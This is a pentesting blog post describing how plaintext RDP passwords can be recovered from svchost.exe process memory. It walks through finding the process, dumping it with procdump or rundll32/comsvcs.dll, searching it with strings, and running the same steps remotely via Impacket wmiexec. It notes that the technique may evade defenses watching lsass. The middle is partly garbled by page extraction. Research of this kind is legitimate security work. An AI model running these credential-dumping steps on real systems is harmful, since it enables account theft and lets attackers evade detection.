Search ...

# NOOPY BLOG

/Users/n00py/

**DEFENSE** HOME

**GITHUB** 

LINKEDIN

OSX

PENTESTING

RESEARCH

WALKTHROUGHS

WHOAMI

Home / Pentesting / Post Exploitation / Dumping Plaintext RDP credentials from svchost.exe

# Dumping Plaintext RDP credentials from svchost.exe

May 16, 2021

n00py

Pentesting | Post Exploitation

0 Comment

Recently I was browsing Twitter and came across a very interesting tweet:

Umm- why can I find the password I used to connect to a remote desktop service in cleartext in memory of RDP service?

First saw my microsoft accounts pwd- made new local account- same thing.

For this user its: wtfmsnotcool pic.twitter.com/IRMhDCMJkH

— Jonas L (@jonasLyk) May 14, 2021

A simple string search within the process memory for svchost.exe revealed the plaintext password that was used to connect to the system via RDP.

After some testing, I was also able to reproduce. This was very attractive to me for the following reasons:

• The plaintext password is present. Most Modern Windows systems do not have wdigest enabled anymore so finding plaintext credentials in memory is much more rare.

**CATEGORIES** 

N00PY BLOG

Protected: Aw, Sugar. Critical Vulnerabilities in SugarWOD

The SOCKS We Have at Home

Bypassing Amazon Kids+ Parental Controls

Bypassing Okta MFA Credential Provider for Windows

The password is in svchost.exe, as opposed to Isass.exe. This means that
defensive tooling to detect/prevent dumping passwords from memory may
not be able to detect this.

I tested this quite a few times as well as many others, and so far I've observed the following:

- This seems to work on Windows 10, Windows Sever 2016, Windows Server 2012. Likely others as well, but so far I've seen it successful against these.
- According to the tweet author and other testers, it appears to work for local and domain accounts.
- It does not appear to be consistent. Sometimes the password is there, sometimes it is not. I do not know exactly why this is. It does seem to exist in memory for a long period of time, but how long is unknown.

If your like me, your biggest question is probably "How do I exploit this now IRL?"

Here's what I've learned so far.

#### Find the right process. I've seen a few ways to do it.

• Use Process Hacker 2. Go to the Network tab and find the process that has an RDP connection. This only works if the RDP connection is still active.

Processes Services	Network	Disk				
Name		Local address	Local port	Remote address	Remote port	Protocol
svchost.exe (408)		DESKTOP-5M7P3LK	3389	192.168.2.215	58212	TCP

• Use netstat. Running:

## 1 | netstat -nob | Select-String TermService -Context 1

```
PS C:\Windows\system32> netstat -nob | Select-String TermService -Context 1

TCP 192.168.2.249:3389 192.168.2.215:58196 ESTABLISHED 436

> TermService
[svchost.exe]

PS C:\Windows\system32> _
```

Will Show you the process. This also requires the RDP connection to be active.

• Use tasklist. Running:

### 1 tasklist /M:rdpcorets.dll

CactusCon 2023: BloodHound Unleashed

Exploiting Resource
Based Constrained
Delegation (RBCD) with
Pure Metasploit

Practical Attacks against NTLMv1

Password Spraying RapidIdentity Logon Portal

Manipulating User Passwords Without Mimikatz

Unauthenticated
Dumping of Usernames
via Cisco Unified Call
Manager (CUCM)

« Dec Sep »

**ARCHIVES** 

October 2024

January 2024

April 2023

February 2023

DC C.\\\imple \alpha \a	ist (Mondagenete 411				
PS C:\Windows\system32> taskl		January 2023			
Image Name ====================================	PID Modules 	October 2022			
<pre>svchost.exe PS C:\Windows\system32&gt; _</pre>	March 2022				
will show you processes load	seems to be January 2022				
the best method and does r	September 2021				
Once you know the process	of way to do May 2021				
this, but here are a few:	December 2020				
• Use Process Hacker 2	Create dump August 2020				
file"	May 2020				
<ul><li>Use Task Manager. F file"</li></ul>	eate dump February 2020				
<ul> <li>Use Procdump.exe.</li> </ul>	January 2020				
	December 2019				
1 procdump.exe -ma [	June 2019				
• Use comsvc.dll.	March 2019				
1   .\rundll32.exe C:\	iDump [PROCE October 2018				
Once you have the memory	/ tagast 2010				
to use strings with the -el op hardest part is figuring out	1 2040				
the password. Here are the					
	ost*   grep n00py -C3	March 2018			
2 ::Encod 3 -8439-3d9ad4c9440	)f	January 2018			
4 hacker 5 n00py69420		December 2017			
6 -6e7e-4f4b-8439-3	6 -6e7e-4f4b-8439-3d9ad4c9440f				
8 TERMINPUT_BUS					
9 10 DESKTOP-5M7P3LK		October 2017  September 2017			
11 oAAAAAnPAAAAAAAA 12 hacker	11 oAAAAAnPAAAAAAAAw4pY3Ifher#Wp8RboaGPtvZYcAajhB4u2urQcCyooSqC				
13 n00py69420	13 n00py69420				
15 \\?\SWD#RemoteDis	essionId_000				
16 \\?\SWD#RemoteDis	\\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000				
18 WmVMVmWMWnAnFnmns 19 aoAOauAU	pfnlslzAEae/ March 2017				
20 avAVavAVayAYoo00S 21 n00py69420	January 2017				
22 \\?\SWD#RemoteDis	<pre>\\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&amp;SessionId_00@</pre>				
24 \\?\SWD#RemoteDis	essionId_000				

```
25
                                                                          Follow @n00py1
 26
      DESKTOP-5M7P3LK
 27
      Hacker
      hacker
 28
  29
      n00py69420
                                                                          Tweets by n00py1
      \\?\SWD#RemoteDisplayEnum#RdpIdd IndirectDisplay&SessionId 000
 31
      a-9a0c-de4fbe3ddd89}
      40fSession3Keyboard0
 32
 33
 34
      \\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000
      RDV::RDP::Encoder::FrameEncodingStart
 35
      hacker
 37
      n00py69420
 38
      \\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000
      RDV::RDP::GraphicsPipelineMicroStats::GfxMDOutMoves
  39 l
      RDV::RDP::GraphicsPipelineMicroStats::GfxCacheInsertRects
 40
There are a couple note worthy findings:
```

- In four out of five or the cases the password was found, the string immediately preceding it was the username of the user who performed the RDP action.
- In four our of five cases, the string \\?
  \SWD#RemoteDisplayEnum#Rdpldd\_IndirectDisplay&SessionId\_0002#
  {1ca05181-a699-450a-9a0c-de4fbe3ddd89} was found in the first or second succeeding string.

Using these two indicators together, it should be possible to determine which string is in fact the user's password.

Below is a demonstration of collecting the password remotely:

```
1
    $ wmiexec.py Administrator:password@192.168.2.249
2
    Impacket v0.9.23.dev1+20210504.123629.24a0ae6f - Copyright 202
4
    [*] SMBv3.0 dialect used
5
    [!] Launching semi-interactive shell - Careful what you execut
    [!] Press help for extra shell commands
6
    C:\>tasklist /M:rdpcorets.dll
8
9
                                  PID Modules
    Image Name
10
    11
    svchost.exe
                                  408 rdpcorets.dll
12
13
    C:\>lput procdump64.exe
14
    [*] Uploading procdump64.exe to C:\procdump64.exe
    C:\>
15
16
    C:\>procdump64.exe -ma 408 -accepteula svc.dmp
17
18
    ProcDump v10.0 - Sysinternals process dump utility
19
    Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards
20
    Sysinternals - www.sysinternals.com
21
22
    [20:58:17] Dump 1 initiated: C:\svc.dmp
    [20:58:18] Dump 1 writing: Estimated dump file size is 67 MB.
23
```

```
24
       [20:58:18] Dump 1 complete: 67 MB written in 0.6 seconds
 25
       [20:58:18] Dump count reached.
 26
 27
  28
       C:\>lget svc.dmp
  29
       [*] Downloading C:\\svc.dmp
And then running strings and grep locally:
  1 | root@PC001:~# strings -el svc.dmp| grep n00py -C1
       hacker
  3
       n00py69420
  4
       192.168.2.215
      hacker
  6
  7
       n00py69420
  8
      192.168.2.215
  9 |
  10
      hacker
       n00py69420
 12
      192.168.2.215
 13
 14
     SWD\MSRRAS\MS_L2TPMINIPORT
 15
       n00py69420
      \\?\SWD#RemoteDisplayEnum#RdpIdd_IndirectDisplay&SessionId_000
```

As I had disconnected and reconnected multiple times, we can see that the plaintext password is stored in memory in a few different places.

This is far from a scientific experiment, but I wanted to add some documentation to this as there isn't really much out there yet. Hopefully someone smarter than me can figure out exactly what is going on and how to better exploit it.

Edit: After writing this, I came to find out that GentilKiwi already figured it out and has it working in Mimikatz  $\bigcirc$ 

Tweet

PREVIOUS POST

**NEXT POST** 

Leave a Reply

Your email address will not be published. Required fields are marked \*

Comment ?

